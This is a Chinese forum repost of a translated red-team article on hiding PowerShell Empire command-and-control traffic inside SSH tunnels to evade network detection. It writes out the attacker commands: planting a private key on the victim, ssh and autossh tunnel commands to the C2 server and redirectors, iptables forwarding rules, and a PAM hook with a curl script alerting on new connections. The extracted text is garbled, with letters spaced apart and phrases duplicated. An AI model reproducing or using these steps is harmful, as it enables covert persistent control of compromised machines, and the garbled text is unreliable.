搜索

[13703] 2019-01-27_在标准SSH隧道中隐藏C&C流量

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2019-01-27_在标准SSH隧道中隐藏C&C流量 在 标 准 S S H 隧 道 中 隐 藏 C & C 流 量 s e c i s t   F r e e B u f   2 0 1 9 - 0 1 - 2 7 S H a z a m 是 一 种 在 标 准 是 一 种 在 标 准 S S H 隧 道 中 隐 藏 隧 道 中 隐 藏 C & C 流 量 从 而 躲 避 网 络 检 测 的 技 术 。 在 本 文 的 示 例 中 将 会 运 行 流 量 从 而 躲 避 网 络 检 测 的 技 术 。 在 本 文 的 示 例 中 将 会 运 行 P o w e r S h e l l   E m p i r e ， 用 于 连 接 到 受 害 者 的 ， 用 于 连 接 到 受 害 者 的 l o c a l h o s t 端 口 。 本 地 端 口 会 通 过 端 口 。 本 地 端 口 会 通 过 S S H 连 接 被 转 发 到 远 程 连 接 被 转 发 到 远 程 E m p i r e s e r v e r ， 以 便 让 我 们 看 到 的 唯 一 网 络 流 量 为 ， 以 便 让 我 们 看 到 的 唯 一 网 络 流 量 为 S S H 。 示 例 中 的 受 害 者 系 统 为 。 示 例 中 的 受 害 者 系 统 为 O S   X ， 但 相 同 的 技 术 也 可 以 使 用 ， 但 相 同 的 技 术 也 可 以 使 用 P l i n k . e x e （ （ P u t t y   t o o l s e t 的 一 部 分 ） 在 的 一 部 分 ） 在 W i n d o w s 上 实 现 。 上 实 现 。 从 上 图 可 以 看 到 ， 受 害 者 系 统 有 一 个 S S H 隧 道 被 配 置 为 侦 听 端 口 5 4 3 0 ， 并 将 接 收 到 的 任 何 内 容 都 转 发 给 E m p i r e S e r v e r 。 E m p i r e   S e r v e r 让 E m p i r e 在 自 己 的 l o c a l h o s t （ 1 2 7 . 0 . 0 . 1 : 5 4 3 0 ） 上 运 行 和 侦 听 同 一 个 端 口 。 为 了 使 S S H 流 量 看 上 去 更 有 迷 惑 性 ， 我 们 让 S S H 服 务 器 侦 听 端 口 4 4 3 而 不 是 标 准 的 2 2 端 口 。 你 可 以 通 过 编 辑 S S H 配 置 文 件 更 改 其 侦 听 端 口 ， 以 及 云 提 供 商 防 火 墙 配 置 以 允 许 通 过 此 端 口 进 行 通 信 。 在 建 立 隧 道 之 前 ， 你 必 须 创 建 或 复 制 私 钥 到 受 害 者 系 统 上 。 必 须 将 关 联 的 公 钥 添 加 到 e m p i r e - s e r v e r 的 a u t h o r i z e d _ k e y s 文 件 中 以 允 许 S S H 连 接 。 在 本 例 中 ， 我 们 将 私 钥 文 件 放 置 在 受 害 者 的 ~ / . s s h / . d o . k e y 目 录 。 你 可 以 通 过 以 下 命 令 完 成 这 一 系 列 操 作 ：
为 了 防 止 任 意 获 取 私 钥 访 问 权 限 的 人 向 你 的 e m p i r e - s e r v e r 执 行 不 必 要 的 操 作 ， 你 可 以 在 E m p i r e   S e r v e r 上 进 行 配 置 更 改 。 编 辑 / e t c / p a s s w d 文 件 将 其 中 的 登 录 名 更 改 为 / b i n / f a l s e 。 使 用 受 害 系 统 上 的 私 钥 ， 一 条 简 单 的 命 令 即 可 为 你 配 置 S S H 隧 道 和 端 口 。 现 在 ， 你 可 以 配 置 P o w e r S h e l l   E m p i r e 或 你 自 己 的 C 2 来 侦 听 1 2 7 . 0 . 0 . 1 : 5 4 3 0 上 的 连 接 。 这 甚 至 在 你 进 行 域 前 置 （   d o m a i n f r o n t i n g ） 等 复 杂 配 置 时 仍 可 正 常 工 作 。 就 像 这 样 ， 所 有 C 2 流 量 都 被 隐 藏 在 了 加 密 的 S S H 隧 道 内 ， 因 此 你 不 必 为 C 2 触 发 任 何 其 他 网 络 签 名 而 担 心 。 这 项 技 术 看 上 去 非 常 的 不 错 也 很 简 单 ， 但 我 相 信 你 绝 对 不 希 望 将 客 户 的 敏 感 数 据 放 在 他 人 的 云 主 机 上 。 如 果 是 这 样 ， 你 就 需 要 设 置 其 他 重 定 向 器 ， 以 将 流 量 通 过 云 主 机 转 发 到 你 自 己 网 络 中 的 系 统 上 。 但 这 么 做 的 缺 点 就 是 操 作 过 程 会 复 杂 很 多 ， 不 过 大 家 不 用 担 心 我 已 经 为 你 们 解 决 了 所 有 的 问 题 ， 如 下 所 示 ： C 2 连 接 通 过 S S H 隧 道 转 发 到 e m p i r e - r e d i r e c t o r 。 e m p i r e - r e d i r e c t o r 上 的 防 火 墙 规 则 将 流 量 转 发 到 另 一 个 中 间 重 定 向 器 。 最 后 ， E m p i r e   C 2 会 话 最 终 登 陆 的 内 部 系 统 会 建 立 与 最 终 重 定 向 器 的 反 向 S S H 连 接 。 在 受 害 者 计 算 机 上 运 行 的 S S H 命 令 如 下 ： 从 内 部 可 信 系 统 运 行 的 S S H 命 令 为 ： 你 可 能 需 要 先 安 装 a u t o s s h ， 但 这 么 做 是 值 得 的 ， 因 为 它 会 确 保 你 的 隧 道 能 够 长 时 间 的 保 持 运 行 。 E m p i r e - R e d i r e c t o r 的 I P 表 规 则 如 下 ： m k d i r   ~ / . s s h c h m o d   7 0 0   ~ / . s s h e c h o   - - - - - B E G I N   R S A   P R I V A T E   K E Y - - - - -   > >   ~ / . s s h / . d o . k e y e c h o   M I I J K A I B A A K C A g E A r V u M J d w g l 9 z 9 s 1 C 0 m r Y V 0 5 h w U e v m Y + C k J a Y / 1 i i P J S E 6 / A A p   > >   ~ / . s s h / . d o . k e y e c h o   + q k M Z 9 n r H k B Q t a Q M r X P W 5 M Q X L x U / o 8 L Q 5 Q y P i y / B 4 F i G E f N S x / / m S J v E Y A X X N 4 z C   > >   ~ / . s s h / . d o . k e y < s n i p p e d   h e r e   f o r   b r e v i t y > e c h o   R k i Q 5 E i r 8 3 C L C Z F L R W V 8 w F v N k G V 2 k r x M X D t H H F L 5 a r s / J 7 t d B e k m Y I 6 2 e X n E 5 o X l   > >   ~ / . s s h / . d o . k e y e c h o   N H k y 2 x 6 Y s n Q f 5 l O k C 1 X y W v w g 7 7 g R 2 k R h b 9 K p O i + h p 6 x B 4 2 o 0 0 m p b Z g y Y 5 V 4 =   > >   ~ / . s s h / . d o . k e y e c h o   - - - - - E N D   R S A   P R I V A T E   K E Y - - - - -   > >   ~ / . s s h / . d o . k e y c h m o d   6 0 0   ~ / . s s h / . d o . k e y v i c t i m : x : 1 0 0 1 : 1 0 0 1 : V i c t i m   G u y , , , : / h o m e / v i c t i m : / b i n / f a l s e s s h   - i   ~ / . s s h / . d o . k e y     - p   4 4 3   - N   - f   - o S t r i c t H o s t K e y C h e c k i n g = n o   v i c t i m @ e m p i r e - s e r v e r . c o r p . c o m   - L   5 4 3 0 : 1 2 7 . 0 . 0 . 1 : 5 4 3 0 s s h   - i   ~ / . s s h / . d o . k e y     - p   4 4 3   - N   - f   - o S t r i c t H o s t K e y C h e c k i n g = n o   v i c t i m @ e m p i r e - r e d i r e c t o r . c o r p . c o m   - L   5 4 3 0 : 1 2 7 . 0 . 0 . 1 : 5 4 3 1 a u t o s s h   - M   5 4 3 1   - o   S e r v e r A l i v e I n t e r v a l = 3 0   - R   5 4 3 3 : 1 0 . 1 0 . 1 0 . 1 8 5 : 5 4 3 0   r o o t @ r e d i r e c t o r . c o r p . c o m
这 会 将 端 口 5 4 3 0 到 6 5 5 3 5 转 发 到 最 终 重 定 向 器 ， 你 可 以 使 用 该 范 围 内 的 一 个 任 意 端 口 连 接 到 受 害 者 。 重 定 向 器 的 I P 表 规 则 如 下 ： 你 可 能 还 希 望 在 建 立 S S H 连 接 时 通 过 s l a c k 获 取 通 知 。 只 需 将 这 两 行 添 加 到 e m p i r e - r e d i r e c t o r 上 的 / e t c / p a m . d / s s h d 文 件 中 ， 这 样 当 每 次 成 功 建 立 S S H 连 接 时 就 会 自 动 运 行 我 的 s l a c k 通 知 脚 本 。 以 下 是 我 s l a c k 脚 本 中 的 内 容 ： 注 意 ！ 在 这 个 更 为 复 杂 的 场 景 中 ， 一 次 只 能 有 一 个 受 害 者 连 接 ， 除 非 每 个 受 害 者 都 配 置 为 使 用 e m p i r e - r e d i r e c t o r 上 的 不 同 端 口 和 用 户 / 私 钥 组 合 。 这 很 烦 人 ， 但 在 鱼 叉 式 钓 鱼 场 景 中 相 当 好 用 。 * 参 考 来 源 ： 参 考 来 源 ： b l a c k h i l l s i n f o s e c ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 i p t a b l e s   - t   n a t   - A   O U T P U T   - m   a d d r t y p e   - - s r c - t y p e   L O C A L   - - d s t - t y p e   L O C A L   - p   t c p   - m   m u l t i p o r t   - - d p o r t s   5 4 3 0 : 6 5 5 3 5   - j   D N A T   - - t o - d e s t i n a t i o n   1 2 8 . 6 2 . 1 3 7 . 1 8 4 : 5 4 3 2 i p t a b l e s   - t   n a t   - A   P O S T R O U T I N G   - m   a d d r t y p e   - - s r c - t y p e   L O C A L   - - d s t - t y p e   U N I C A S T   - j   M A S Q U E R A D E s y s c t l   - w   n e t . i p v 4 . c o n f . a l l . r o u t e _ l o c a l n e t = 1 s y s c t l   - w   n e t . i p v 4 . c o n f . a l l . r o u t e _ l o c a l n e t = 1 i p t a b l e s   - t   n a t   - I   P R E R O U T I N G   - p   t c p   - - d p o r t   5 4 3 2   - j   D N A T   - - t o   1 2 7 . 0 . 0 . 1 : 5 4 3 3 s e s s i o n   [ s u c c e s s = o k   i g n o r e = i g n o r e   m o d u l e _ u n k n o w n = i g n o r e   d e f a u l t = b a d ]   p a m _ s e l i n u x . s o   o p e n s e s s i o n   o p t i o n a l   p a m _ e x e c . s o   / h o m e / r o o t / s s h - s l a c k - a l e r t . s h # ! / u s r / b i n / e n v   b a s h i f   [   " $ P A M _ U S E R "   ! =   " a d m i n "   ]   & &   [   $ P A M _ T Y P E   ! =   " c l o s e _ s e s s i o n "   ] t h e n m e s s a g e = " ` ` ` P a m T y p e :   $ P A M _ T Y P E n S S H - U s e r :   $ P A M _ U S E R n R h o s t :   $ P A M _ R H O S T n S e r v e r :   S S H a z a m n H o s t n a m e :   ` h o s t n a m e ` ` ` ` " c u r l   - X   P O S T       - - d a t a - u r l e n c o d e   " p a y l o a d = { " c h a n n e l " :   " a l e r t s " ,   " u s e r n a m e " :   " S S H a z a m " ,   " t e x t " :   " $ { m e s s a g e } " ,   " i c o n _ e m o j i " :   " : b o o m : " } "     h t t p s : / / h o o k s . s l a c k . c o m / s e r v i c e s / Y O U R / S L A C K / H O O K H E R E f i
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理